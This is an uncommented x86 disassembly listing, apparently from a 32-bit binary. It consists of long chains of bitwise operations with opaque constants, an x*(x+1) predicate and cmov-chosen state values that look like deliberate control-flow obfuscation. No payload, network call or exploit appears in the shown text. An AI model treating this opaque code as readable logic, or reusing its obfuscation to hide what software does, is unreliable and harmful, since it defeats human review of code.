xor ch, 1
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
movzx ebx, byte [ebp - 0x18]
and ah, bl
mov cl, byte [ebp - 0x1c]
mov dh, cl
mov al, byte [ebp - 0x14]
xor dh, al
and al, cl
or al, ah
mov dl, al
xor dl, bl
and dl, al
and dh, cl
or cl, bl
xor dh, 1
mov al, dh
xor al, cl
or dh, cl
xor dh, 1
or dh, al
mov cl, dl
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor dh, 1
xor al, 1
or al, ah
xor al, dh
or dh, cl
xor al, 1
mov cl, al
xor cl, dh
or al, dh
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov dl, ch
xor dl, 1
mov ah, dl
xor ah, al
and al, ch
or ch, cl
xor ch, 1
or ch, ah
and dl, cl
mov cl, ch
xor cl, 1
or al, dl
mov edx, eax
xor dl, 1
and al, ch
or ch, dl
and dl, cl
or dl, al
mov cl, ch
xor cl, dl
test dl, 1
mov eax, 0xf7a2ce2
mov esi, 0xba38d291
cmovne eax, esi
test ch, 1
mov edx, 0xf7a2ce2
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x1000f5c0
mov eax, dword [ebp - 0x44]
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x31bfe762
mov ecx, edx
mov edi, edx
mov dword [ebp - 0x14], edx
and ecx, 0xce40189d
or ecx, eax
mov eax, ecx
xor eax, 0x4c000805
xor ecx, 0x2fc222
and ecx, 0x826fd2ba
and eax, 0x7d902d45
or eax, ecx
mov ecx, eax
xor ecx, 0x824cd23a
xor eax, 0x45802144
and eax, 0x45a321c4
and ecx, 0xba5cde3b
or ecx, eax
mov edx, ecx
xor edx, 0xba5cde3b
xor ecx, 0x40002104
and ecx, 0x6848ad04
mov eax, edx
and eax, 0x97b752fb
or eax, ecx
xor eax, 0x366e4773
and edx, 0x5e26ea77
or edx, eax
mov eax, esi
and eax, 0xbf9a3879
mov ecx, edi
and ecx, 0x4065c786
or ecx, eax
mov eax, edx
not eax
and edx, 0x5aef0268
mov edi, eax
and edi, 0xa510fd97
or edi, edx
xor ecx, 0xe1bcd20e
or ecx, esi
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0x3818602f
xor ecx, 0xe46f37c3
and ecx, edx
and edx, 0xc7e79fd0
or edx, ebx
mov ebx, edi
xor ebx, 0xa510fd97
xor edi, 0x417fca54
and edi, ebx
and eax, 0xe46f37c3
or eax, edi
xor edx, 0xc7e79fd0
or ebx, edx
and edx, 0x1b90c83c
or ecx, edx
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov edi, ebx
not edi
mov ecx, ebx
xor ecx, 0x8c2ddba8
and ecx, ebx
or ebx, 0x73d22457
mov eax, ebx
and eax, 0x70517480
and edi, 0x8c2c8b28
or edi, eax
mov eax, ecx
not eax
or ebx, eax
and eax, 0x70517480
and ecx, 0x8fae8b7f
or ecx, eax
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
xor eax, 0xd20b31df
mov ecx, ebx
xor ecx, 0x2df4ce20
and eax, 0x35fc3e01
xor ebx, 0x989cd189
and ebx, ecx
mov edx, ecx
and edx, 0xca03c1fe
or edx, eax
mov ecx, edx
xor ecx, 0xca03c1fe
mov eax, ecx
and eax, 0xb5681fa9
or ebx, eax
xor edx, 0x20780c00
and edx, 0x2a780c68
mov eax, ecx
and eax, 0xd587f397
or eax, edx
xor eax, 0x96a001db
and ecx, 0xbcd80db3
or ecx, eax
mov eax, ebx
xor eax, 0xd4026824
xor ebx, 0x9b0121a
mov edx, ebx
and edx, 0x2bed97db
and eax, 0xd4126824
or eax, edx
mov edi, ecx
not edi
or ebx, ecx
and ecx, 0x2bed97db
and edi, 0xd4126824
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov eax, ebx
xor eax, 0xaf19e8d5
and eax, ebx
not ebx
and ebx, 0xaf19e8d5
or ebx, eax
not eax
and eax, 0x50e6172a
and ebx, 0xaf19e8d5
or ebx, eax
mov edi, ebx
not edi
and ebx, 0xf5fe688a
and edi, 0xa019775
or edi, ebx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
xor eax, 0xbcd80db3
and eax, esi
and ecx, 0x60a66af4
and esi, 0x9f59950b
or esi, ecx
xor esi, 0xdc7e6747
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xf4b2b5a7
and eax, esi
and esi, 0xb4d4a58
or esi, ecx
mov ecx, esi
xor ecx, 0x14d4058
xor esi, 0xf4b2b5a7
mov edx, esi
and edx, 0x7aa22b87
and ecx, 0x855dd478
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x7aa22b87
and eax, 0x855dd478
or eax, edx
mov ebx, edi
xor ebx, 0xa019775
xor eax, ecx
not esi
or esi, eax
xor edi, 0xf5fe688a
mov eax, edi
and eax, 0x52ae7737
mov ecx, ebx
and ecx, 0xad5188c8
or ecx, eax
mov eax, ecx
xor eax, 0x8000
xor ecx, 0x40205030
or ecx, 0x10a2f01
and ecx, 0xcd7b7ff1
and eax, 0x808004
or eax, ecx
mov ecx, edi
or ecx, 0xcc7150f0
and ecx, 0xcd7b7ff1
mov edx, ebx
and edx, 0x3204000a
or edx, ecx
xor edx, eax
mov dword [ebp - 0x18], edx
mov edx, esi
mov dword [ebp - 0x20], esi
not esi
mov eax, esi
and eax, 0xc5108060
mov ecx, edx
and ecx, 0x120c0081
or ecx, eax
xor ecx, 0x120c0081
mov eax, esi
mov edx, esi
and eax, 0x28e37f1e
or eax, ecx
mov dword [ebp - 0x1c], eax
mov esi, dword [ebp - 0x18]
mov ecx, esi
xor ecx, 0x11082509
mov eax, esi
xor eax, 0xccf1d0f4
mov dword [ebp - 0x14], eax
and eax, 0xea674a96
and ecx, 0x1598b569
or ecx, eax
mov esi, ecx
xor esi, 0x1598b569
xor ecx, 0x440a94
and ecx, 0x4cc1bdc
mov eax, esi
and eax, 0xfb33e423
or eax, ecx
xor eax, 0x2ab25345
and esi, 0x2e7e4899
or esi, eax
and edi, 0xe264808
and ebx, 0x20580091
or ebx, edi
mov edi, ebx
xor edi, 0x100010
or edi, 0x9740
xor ebx, 0x244808
and ebx, 0x206c4889
and edi, 0xe129750
or edi, ebx
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
not eax
mov dword [ebp - 0x24], eax
and eax, 0x2e7e4899
and ecx, 0xd181b766
or ecx, eax
and edx, 0x73812bbe
mov eax, dword [ebp - 0x20]
and eax, 0x8c7ed441
or eax, edx
mov edx, eax
xor edx, 0x8c7ed441
xor eax, 0x320001b8
and eax, 0xb232d1b8
mov ebx, eax
mov eax, edx
and eax, 0x4dcd2e47
or eax, ebx
xor eax, 0x63b366de
and edx, 0xd181b766
or edx, eax
mov eax, esi
not eax
mov ebx, edi
xor ebx, 0xe129750
xor edi, 0xf1ed68af
and ebx, esi
or esi, edi
and edi, eax
or edi, ebx
not esi
or edi, esi
mov esi, edx
not esi
mov eax, edx
and eax, 0x802ec8e6
xor edx, 0xfa309d7f
and edx, esi
and esi, 0x7fd13719
or esi, eax
mov eax, esi
xor eax, 0x7fd13719
xor esi, 0x85e1aa66
and esi, eax
or edx, esi
not ecx
mov ebx, dword [ebp - 0x24]
or ecx, ebx
or eax, ecx
xor ecx, 0xfa309d7f
mov esi, edx
xor esi, edx
not esi
and esi, ecx
xor esi, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x83af137
and esi, 0xf7c50ec8
or esi, edx
xor esi, eax
or ecx, eax
xor esi, 0xf7c50ec8
not ecx
or ecx, esi
mov edx, ecx
not edx
mov eax, edx
and eax, 0xa4e0d780
and ecx, 0x5b1f287f
or ecx, eax
xor ecx, edi
or edx, edi
xor ecx, 0xa4e0d780
and ecx, edi
mov eax, ecx
not eax
mov esi, eax
and esi, 0x34ff3610
and ecx, 0xcb00c9ef
or ecx, esi
xor ecx, edx
or eax, edx
xor ecx, 0xcb00c9ef
not eax
or eax, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
mov edi, edx
xor edi, 0x2d7657df
and edi, edx
mov eax, ebx
and eax, 0xea0b84ae
and edx, 0x15f47b51
or edx, eax
mov eax, dword [ebp - 0x18]
mov ebx, eax
xor ebx, 0x1e7878d4
and ebx, dword [ebp - 0x14]
mov ecx, ebx
not ecx
mov dword [ebp - 0x1c], ecx
and ecx, 0x61ec4f6c
and ebx, 0x9e13b093
or ebx, ecx
mov esi, edx
xor esi, 0x15f47b51
mov ecx, dword [ebp - 0x14]
or esi, ecx
or ecx, 0x2d7657df
xor eax, 0x12002000
or dword [ebp - 0x1c], ecx
and ecx, 0x61ec4f6c
and eax, 0x9201a000
or eax, ecx
xor eax, ebx
mov ecx, dword [ebp - 0x1c]
not ecx
or ecx, eax
mov eax, edx
xor eax, 0x2802048e
or eax, 0xd289a820
xor edx, 0x44110
mov ebx, eax
and ebx, 0xf7f01a6b
and edx, 0x8064594
or edx, ebx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0xf7f01a6b
and edi, 0x80fe594
or edi, ebx
xor edi, edx
not eax
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x60909e37
and eax, esi
and esi, 0x9f6f61c8
or esi, edx
xor esi, 0x9f6f61c8
or esi, eax
mov edx, esi
not edx
mov eax, dword [ebp - 0x20]
mov ecx, eax
xor ecx, edx
and ecx, eax
xor edx, esi
and edx, eax
xor edx, esi
mov esi, ecx
not esi
mov eax, edx
not eax
mov edi, esi
and edi, 0x1b6d0511
and ecx, 0xe492faee
or ecx, edi
or esi, eax
and eax, 0x1b6d0511
and edx, 0xe492faee
or edx, eax
xor edx, ecx
mov ecx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov esi, eax
and esi, 0x16a67ea6
mov edx, ecx
and edx, 0xe9598159
or edx, esi
mov esi, edx
xor esi, 0x88000100
xor edx, 0x1c06
mov edi, eax
or edi, 0x189c47
or edx, 0x1434210
and edx, 0x15bde57
and esi, 0x880401a0
or esi, edx
and edi, 0x15bde57
mov edx, ecx
and edx, 0x76a02008
or edx, edi
xor edx, esi
mov esi, edx
xor esi, 0x77e36218
xor edx, 0x881c9de7
and esi, 0xb405d905
mov edi, edx
and edi, 0x4bfa26fa
or edi, esi
xor edi, 0xa643e08c
and edx, 0x12463989
or edx, edi
mov esi, edx
not esi
or eax, 0xedb9c676
mov edi, edx
and edi, 0xcfe654c5
xor edx, 0x7cbe7f6d
and edx, esi
mov ebx, esi
and ebx, 0x3019ab3a
or ebx, edi
mov esi, eax
not esi
and eax, 0xfd8806a2
xor ecx, 0x2400080
and ecx, esi
and esi, 0x2463909
or esi, eax
xor esi, 0x277f95d
mov eax, esi
and eax, 0x83400082
or ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, ebx
xor eax, 0x83400080
or eax, 0x7cbe7f6d
mov edi, ebx
xor ebx, 0x8010
mov ecx, eax
and ecx, 0xdf290d6b
and ebx, 0x408090
or ebx, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0xdf290d6b
and edx, 0x20d6f294
or edx, ecx
xor edx, ebx
xor edi, 0x10002908
not eax
or eax, edx
xor eax, dword [ebp - 0x14]
mov ecx, eax
xor ecx, 0x10
or esi, edi
mov edx, esi
not edx
xor eax, 0xfffe7fef
mov edi, eax
and edi, 0x183fc9c8
and ecx, 0xe7c03637
or ecx, edi
or eax, esi
and esi, 0x183fc9c8
and edx, 0x2403001
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x52ef2258
mov esi, eax
and esi, 0xad10dda7
or esi, edx
mov edx, esi
xor edx, 0x88008804
xor esi, 0xc0040
or ecx, 0x201c5060
or esi, 0x17202100
and esi, 0x373c7160
and edx, 0xc8428814
or edx, esi
and ecx, 0x373c7160
and eax, 0x81068b
or eax, ecx
xor eax, edx
mov esi, eax
xor esi, 0x46c0ec4e
xor eax, 0xb93f13b1
mov ecx, eax
mov dword [ebp - 0x1c], eax
and ecx, 0x5102c22
mov edx, esi
and edx, 0x8ac40019
or edx, ecx
xor edx, 0x8ac40019
mov ecx, esi
mov edi, esi
mov dword [ebp - 0x14], esi
and ecx, 0x702bd3c4
or ecx, edx
mov esi, ecx
xor esi, 0x2d204
xor ecx, 0x8c00081b
and ecx, 0xfc2909db
and esi, 0x3d6f624
or esi, ecx
mov edx, eax
and edx, 0x24882007
mov ecx, edi
and ecx, 0x81344800
or ecx, edx
mov edx, ecx
xor edx, 0x81344000
or edx, 0x58008600
xor ecx, 0x24800000
and ecx, 0x24800800
and edx, 0xd93ce607
or edx, ecx
mov ebx, esi
xor ebx, 0x3d6f624
mov edi, ebx
or edi, 0x4000800
mov ecx, esi
xor ecx, 0x10000050
or ecx, 0x20e93028
and ecx, 0x30e9b278
and edi, 0x4c020d00
or edi, ecx
or ebx, 0xb1b8e250
xor esi, 0x80
and ebx, 0xb1f9f278
and esi, 0x2000080
or esi, ebx
xor esi, edi
mov edi, edx
xor edi, 0x26c319f8
mov ecx, edx
xor ecx, 0x42e2957
and ecx, edi
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x2021708d
and ecx, 0xdd9e0d02
or ecx, eax
or edi, 0xdd12cf50
xor edx, 0xc0002
or ebx, edi
and edi, 0x2021f2dd
and edx, 0x8c0002
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
mov edi, ebx
xor edi, ebx
not edi
and edi, esi
xor edi, ebx
mov esi, edi
xor esi, 0xa5bc6807
mov dword [ebp - 0x20], esi
mov eax, edi
xor eax, 0x5a4397f8
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x18], eax
and ecx, 0x8df16f81
xor edi, 0x284d0786
and edi, esi
or edi, ecx
and edx, 0xbc3cec83
mov ecx, esi
and ecx, 0x43c3137c
or ecx, edx
mov edx, ecx
xor edx, 0x43c3137c
xor ecx, 0xbc3cec83
and ecx, edi
not edi
and edx, edi
or ecx, edx
xor edi, ecx
and edi, ecx
mov dword [ebp - 0x24], edi
mov edi, dword [ebp - 0x1c]
mov ecx, edi
and ecx, 0x8e308055
mov eax, dword [ebp - 0x14]
and eax, 0x104b1e8a
or eax, ecx
xor eax, 0x104b1e8a
and edi, 0x61846120
or edi, eax
mov ebx, edi
not ebx
mov esi, edi
or esi, 0x6189f145
mov ecx, esi
and ecx, 0x1f9ae572
mov edx, ebx
and edx, 0x80640a88
or edx, ecx
mov ecx, edi
xor ecx, 0x9e760eba
and ecx, edi
mov eax, ecx
not eax
or esi, eax
and eax, 0x1f9ae572
and ecx, 0xe0651a8d
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x88609cc0
xor esi, 0x1387613b
mov eax, esi
and eax, 0x779c6315
and ecx, 0x88639cea
or ecx, eax
or ebx, 0x8df16f81
or esi, ebx
and ebx, 0x779c6315
and edi, 0x2906a
or edi, ebx
xor edi, ecx
not esi
or esi, edi
mov edi, dword [ebp - 0x24]
mov ecx, edi
not ecx
mov eax, edi
and eax, 0x1fc1d284
mov edx, ecx
and edx, 0xe03e2d7b
or edx, eax
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
and eax, 0x1fc1d284
mov ebx, esi
and ebx, 0xe03e2d7b
or ebx, eax
xor ebx, edx
mov eax, edi
xor eax, 0xf97cb8ec
and eax, edi
or edi, dword [ebp - 0x14]
not edi
or edi, ebx
and ecx, 0xf97cb8ec
or eax, ecx
mov edx, esi
xor esi, 0x6834713
mov ecx, dword [ebp - 0x14]
and esi, ecx
and edx, 0x287c206c
and ecx, 0xd1009880
or ecx, edx
mov edx, ecx
xor edx, 0x81009800
xor ecx, 0x2eff677f
mov ebx, ecx
and ebx, 0x786763f6
and edx, 0x81189808
or edx, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x786763f6
and esi, 0x87989c09
or esi, ebx
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
mov ecx, edi
not ecx
mov eax, edx
not eax
and edx, edi
or edi, eax
and eax, ecx
or eax, edx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0xdea0414d
and eax, 0x215fbeb2
or eax, ecx
xor eax, edi
xor eax, 0x215fbeb2
or ebx, edi
not ebx
or ebx, eax
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x88a04c00
mov eax, ebx
and eax, 0x5512380
or eax, edx
and ecx, 0x6002106d
and ebx, 0x120c8012
or ebx, ecx
mov esi, ebx
xor esi, 0x2000002
or esi, 0x80e12980
xor ebx, 0x21060
and ebx, 0x100e9070
and esi, 0xe2e1298f
or esi, ebx
mov ebx, eax
xor ebx, 0x5512380
mov ecx, eax
xor ecx, 0x82ac9471
and ecx, 0x86bc97f1
xor eax, 0x81b02e80
and eax, ebx
mov dword [ebp - 0x14], eax
and ebx, 0x9416800
or ebx, ecx
mov ecx, esi
xor ecx, 0xe2e1298f
mov edx, esi
xor edx, 0xd06c230
and edx, 0xef06e236
xor esi, 0x10069031
and esi, ecx
and ecx, 0x10081049
or ecx, edx
mov edi, ecx
xor edi, 0x10f91dc9
mov dword [ebp - 0x1c], edi
and edi, 0xf666993e
or esi, edi
mov edx, ebx
xor edx, 0x7943680e
mov dword [ebp - 0x24], edx
xor ebx, 0x86bc97f1
mov edi, ebx
or edi, 0x91862c1
mov eax, edi
and eax, 0x99d81b1
and edx, 0xb6601c0a
or edx, eax
mov eax, dword [ebp - 0x14]
not eax
or edi, eax
and eax, 0x499f81b5
and dword [ebp - 0x14], 0x84606e00
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor eax, edx
not edi
or edi, eax
xor edi, esi
mov eax, ebx
and eax, 0x9616780
mov edx, dword [ebp - 0x24]
and edx, 0xb69c1860
or edx, eax
xor ecx, 0xef06e236
or ebx, ecx
and ecx, 0x4002a01f
mov eax, dword [ebp - 0x1c]
and eax, 0xb69c1860
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov ecx, edi
xor ecx, 0xff7efbff
mov eax, ecx
and eax, 0x3ceb2dfc
and edi, 0xc314d203
or edi, eax
mov eax, ebx
not eax
or ecx, ebx
and ebx, 0x3ceb2dfc
and eax, 0xc314d203
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
mov eax, edx
and eax, 0x70a06000
mov edi, dword [ebp - 0x20]
mov ecx, edi
and ecx, 0xc400230
or ecx, eax
xor ecx, 0xc400230
mov esi, edx
and esi, 0x831f9dcf
or esi, ecx
mov ebx, esi
not ebx
mov dword [ebp - 0x24], ebx
or ebx, 0x5805343e
mov eax, esi
and eax, 0xc8c200
and ebx, 0x78353c3f
or ebx, eax
and edx, 0x5ff07bf2
mov ecx, edi
and ecx, 0xa00f840d
or ecx, edx
mov eax, ecx
xor eax, 0xa00f840d
xor ecx, 0x3e028a2
and ecx, 0xa3e9a8ab
mov edx, ecx
mov ecx, eax
and ecx, 0x5c165754
or ecx, edx
xor ecx, 0x831162aa
and eax, 0x20f8ca01
or eax, ecx
mov edx, eax
not edx
and eax, 0x4674ae0
mov edi, edx
and edi, 0xfb98b51f
or edi, eax
mov ecx, edi
xor ecx, 0xfb98b51f
mov dword [ebp - 0x18], ecx
and ecx, 0x7d179b05
and edx, 0x82e864fa
or edx, ecx
mov dword [ebp - 0x20], edx
mov edx, ebx
xor edx, 0x78353c3f
xor ebx, 0x87cac3c0
mov dword [ebp - 0x14], ebx
mov ecx, edx
or ecx, 0x2e060d0
and ecx, 0x2e06ad1
and ebx, 0x29128000
or ebx, ecx
mov eax, dword [ebp - 0x14]
or eax, 0x44000a05
and eax, 0x46e06ad5
mov ecx, edx
and ecx, 0x80000
or ecx, eax
xor ecx, ebx
xor ecx, dword [ebp - 0x20]
mov eax, edx
and eax, 0x2048c201
mov ebx, dword [ebp - 0x14]
and ebx, 0xfb50850
or ebx, eax
xor edi, 0x4674ae0
or edx, edi
and edi, 0xf04af7af
mov eax, dword [ebp - 0x18]
and eax, 0xfb50850
or eax, edi
xor eax, ebx
not edx
or edx, eax
mov eax, ecx
xor eax, 0x10011100
xor ecx, 0xeffaeeff
mov edi, ecx
and edi, 0x46440c57
and eax, 0xb9bbf3a8
or eax, edi
mov edi, edx
not edi
or ecx, edx
and edx, 0x46440c57
and edi, 0xb9bbf3a8
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
xor eax, 0x20f8ca00
and eax, ecx
mov edx, ecx
or ecx, 0xdf0735ff
not edx
mov edi, ecx
and edi, 0xa49ab634
and edx, 0x604800
or edx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0xa49ab634
and eax, 0x5b6549cb
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, esi
xor eax, 1
and eax, esi
mov edx, dword [ebp - 0x24]
and edx, 0x4280c1ba
and esi, 0xbd7f3e45
or esi, edx
xor esi, 0xbd7f3e44
or esi, eax
mov edx, esi
not edx
mov eax, esi
xor eax, 0x7c9371c
and eax, esi
or esi, 0xf836c8e3
mov edi, esi
and edi, 0x6e7a0cef
and edx, 0x1813310
or edx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x6e7a0cef
and eax, 0x9185f310
or eax, edi
xor eax, edx
not esi
or esi, eax
mov edx, esi
xor edx, 0x28224823
xor esi, 0x6883308
and esi, 0xd69cb3c8
and edx, 0x29634c37
or edx, esi
mov eax, edx
xor eax, 0x29634c37
xor edx, 0xd69cb3c8
mov esi, ecx
not esi
and edx, esi
or esi, eax
not esi
and eax, ecx
or eax, edx
or eax, esi
mov esi, eax
not esi
mov ecx, eax
xor ecx, 0xaa95583
and ecx, eax
mov edi, esi
or edi, ecx
not ecx
and ecx, 0xf556aa7c
and edi, 0xaa95583
or edi, ecx
mov ebx, edi
xor ebx, 0x755b48c9
and ebx, edi
and eax, 0x84f3a762
mov ecx, esi
and ecx, 0x7b0c589d
or ecx, eax
xor ecx, 0xe571054
and esi, 0x8aa4b736
or esi, ecx
mov edx, esi
not edx
and esi, 0x3cc1ad2e
mov edi, edx
and edi, 0xc33e52d1
or edi, esi
mov eax, edi
xor eax, 0xc33e52d1
xor edi, 0xcefaa3e
and edi, eax
and edx, 0xcfd1f8ef
or edx, edi
mov ecx, ebx
mov edi, ebx
xor edi, 0x302e0710
mov ebx, edi
and edi, ecx
not ecx
mov dword [ebp - 0x14], ecx
and ebx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x2e46dbaf
and ebx, 0xd1b92450
or ebx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x2e46dbaf
and edi, 0xd1b92450
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov edi, edx
xor edi, edx
not edi
and edi, esi
xor edi, edx
or eax, dword [ebp - 0x14]
not eax
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x41530080
mov esi, eax
and esi, 0x34084849
or esi, edx
mov edx, esi
xor edx, 0x20000849
xor esi, 0x48e006a0
or ecx, 0x54484080
and esi, 0x5ce846a0
and edx, 0x21130849
or edx, esi
and ecx, 0x5ce846a0
and eax, 0x8204b116
or eax, ecx
xor eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0xfadf9526
mov ecx, eax
and ecx, 0x5206ad9
or ecx, esi
mov esi, ecx
xor esi, 0xfadf9526
xor ecx, 0x5206ad9
and edx, ecx
and esi, eax
or esi, edx
not esi
or esi, ecx
mov edi, dword [ebp - 0x1c]
mov ecx, edi
not ecx
mov eax, edi
mov edx, ecx
and edx, 0xe7452ad4
mov ebx, edi
and ebx, 0x18bad52b
or ebx, edx
mov edi, esi
mov dword [ebp - 0x18], esi
mov edx, esi
not edx
not ebx
or ebx, ecx
mov dword [ebp - 0x1c], ebx
and ecx, 0xde925f70
and eax, 0x216da08f
or eax, ecx
mov ecx, eax
xor ecx, 0x2140a00d
xor eax, 0xe821860
and eax, 0xeaf18e2
and ecx, 0xf150e71d
or ecx, eax
mov esi, ecx
mov eax, edi
and eax, 0x1714870
mov ecx, edx
and ecx, 0xfe8eb78f
or ecx, eax
xor ecx, 0xfe8eb78f
mov ebx, edi
and ebx, edx
or ebx, ecx
mov dword [ebp - 0x28], ebx
mov edi, esi
xor esi, 0xeaf18e2
mov dword [ebp - 0x2c], esi
xor edi, 0xf150e71d
mov eax, edi
mov dword [ebp - 0x30], edi
and eax, 0x443765e7
mov ecx, esi
and ecx, 0xbbc89a18
or ecx, eax
xor ecx, 0x5c8db0cc
mov eax, ecx
xor eax, edi
and eax, ecx
mov dword [ebp - 0x14], eax
mov eax, ebx
not eax
mov dword [ebp - 0x24], eax
mov ecx, eax
and ecx, 0x18bad52b
mov esi, ebx
and esi, 0xe7452ad4
or esi, ecx
mov ecx, esi
xor ecx, eax
and ecx, esi
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x18]
mov ecx, eax
and ecx, 0x8d6839f9
and edx, 0x7297c606
or edx, ecx
xor edx, 0x6a2d132d
xor eax, edx
and eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov edi, eax
not edi
and eax, 0x517bd16d
mov esi, edi
and esi, 0xae842e92
or esi, eax
mov edx, esi
xor edx, 0xae842e92
mov dword [ebp - 0x1c], edx
and edx, 0x57bfcc0e
and edi, 0xa84033f1
or edi, edx
mov edx, dword [ebp - 0x14]
mov ecx, edx
not ecx
or edx, 0x20003031
and edx, 0x25a3703b
mov ebx, ecx
and ebx, 0x521c8c04
or ebx, edx
mov edx, ecx
or edx, 0x5a3400a
and edx, 0x25a3703b
mov eax, dword [ebp - 0x14]
and eax, 0x884003c0
or eax, edx
xor eax, ebx
mov edx, edi
xor edx, edi
not edx
and edx, eax
xor edx, edi
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0x38a6c2a7
and ecx, 0xc7593d58
or ecx, eax
xor esi, 0x517bd16d
or edi, esi
and esi, 0x38a6c2a7
mov eax, dword [ebp - 0x1c]
and eax, 0xc7593d58
or eax, esi
xor eax, ecx
mov ecx, eax
mov eax, edi
not eax
or eax, ecx
not eax
or eax, edx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x18]
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd44f9f0b
and edx, 0x2bb060f4
or edx, eax
mov edi, dword [ebp - 0x20]
mov ebx, edi
or ebx, 0xf46cb53f
mov esi, edi
not esi
mov dword [ebp - 0x1c], esi
mov eax, ebx
and eax, 0x6b4dbf28
and esi, 0x9240c0
or esi, eax
mov eax, edi
xor edi, 0xb934ac0
and edi, eax
mov eax, edi
not eax
or ebx, eax
and eax, 0x6b4dbf28
and edi, 0x94b240d7
or edi, eax
xor edi, esi
not ebx
or ebx, edi
mov edi, edx
xor edi, 0x2bb060f4
xor edx, 0xd44f9f0b
mov eax, edx
or eax, 0x8048910d
and eax, 0x835bdb0d
mov esi, edi
and esi, 0x88000c0
or esi, eax
or ecx, 0x3134a00
and ecx, 0x835bdb0d
mov eax, dword [ebp - 0x18]
and eax, 0x74242432
or eax, ecx
xor eax, esi
xor eax, ebx
mov ecx, eax
mov ebx, dword [ebp - 0x20]
mov eax, ebx
and eax, 0xf01a963e
mov esi, dword [ebp - 0x1c]
and esi, 0xfe569c1
or esi, eax
or ebx, edx
and edx, 0xf01a963e
and edi, 0xfe569c1
or edi, edx
xor edi, esi
mov esi, ebx
not esi
or esi, edi
mov edx, ecx
not edx
mov eax, edx
and eax, 0x706de48f
and ecx, 0x8f921b70
or ecx, eax
xor ecx, esi
or edx, esi
xor ecx, 0x8f921b70
not edx
or edx, ecx
mov ecx, dword [ebp - 0x14]
mov esi, ecx
not esi
mov eax, esi
and eax, 0x22e6c5c6
and ecx, 0xdd193a39
or ecx, eax
or esi, edx
not edx
xor ecx, 0x22e6c5c6
or ecx, edx
not ecx
not esi
or esi, ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebp - 0x30]
and ecx, 0xa3dac1e8
mov eax, dword [ebp - 0x2c]
mov edx, eax
and edx, 0x5c253e17
or edx, ecx
mov edi, dword [ebp - 0x28]
mov esi, edi
xor esi, 0xd43133ff
and esi, edi
mov ecx, dword [ebp - 0x24]
and ecx, 0x368bc8bf
and edi, 0xc9743740
or edi, ecx
xor edx, 0x5c253e17
mov ebx, edi
xor ebx, 0xc9743740
xor edi, 0xe2bafb40
and edi, ebx
or ebx, edx
and edx, 0xd43133ff
and eax, 0x2bcecc00
or eax, edx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x838b5fbf
and edi, 0x7c74a040
or edi, edx
mov edx, esi
not edx
or ecx, edx
and edx, 0x838b5fbf
and esi, 0x7c74a040
or esi, edx
xor esi, edi
not ecx
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
mov esi, ebx
not esi
mov eax, dword [ebp - 0x14]
mov ecx, eax
not ecx
mov edi, ecx
mov dword [ebp - 0x1c], ecx
mov ecx, ebx
and ecx, 0x35c48d07
xor ebx, 0x65c064b2
and ebx, esi
and esi, 0xca3b72f8
or esi, ecx
mov dword [ebp - 0x18], esi
mov edx, eax
or edx, 0x65c064b2
mov ecx, edx
and ecx, 0x37ff8c0e
mov esi, edi
and esi, 0x88001341
or esi, ecx
mov ecx, eax
xor ecx, 0x9a3f9b4d
and ecx, eax
mov edi, ecx
not edi
or edx, edi
and edi, 0x37ff8c0e
and ecx, 0xc80073f1
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov esi, dword [ebp - 0x18]
